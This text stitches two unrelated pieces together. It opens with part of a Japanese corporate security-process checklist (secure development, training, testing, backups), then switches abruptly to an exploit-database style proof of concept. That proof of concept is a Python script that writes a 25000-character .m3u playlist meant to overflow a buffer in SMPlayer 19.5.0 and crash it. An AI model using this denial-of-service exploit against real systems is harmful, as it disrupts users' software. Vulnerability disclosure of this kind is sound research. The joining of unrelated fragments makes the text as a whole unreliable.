(3)OWASPやMicrosoftのSDL標準などのセキュリティ開発プロセスに厳密に従い、危険な機能の使用を避けます。

(4)開発には安全トレーニングが必要です。

(5)すべての製品は、発売またはリリースされる前に、厳格で信頼できる安全性テストを受ける必要があります。

5。ステップ5ビジネスセキュリティ保証メカニズムの確立:

(1)内部の安全規制と規制を確立および改善する。

(2)緊急対応のためにさまざまな予備作業を行う。

(3)ビジネスへの影響を最小限に抑えるために、多くの重要なデータバックアップがあります。

# Title : SMPlayer 19.5.0 - Denial of Service (PoC)
# Tested on : Windows 7 (64 bit)
# Vulnerable Software: SMPlayer v 19.5.0
# Exploit Author: Malav Vyas
# Vendor Homepage: https://smplayer.info
# Version : 19.5.0
# Software Link : https://smplayer.info/en/downloads

# POC
# run this python file, which will generate attack.m3u file
# .m3u file is used as a playlist
# this python file will generate a .m3u file with 25000 "A" characters.
# Open this file in SMPlayer two times.
# second time, buffer would be successfully overflowed and it would result in a Denial Of Service attack.
# For more details, please refer to video

f="attack.m3u"

bof = "A"*25000

writeFile = open(f, "w")
writeFile.write(bof)
writeFile.close()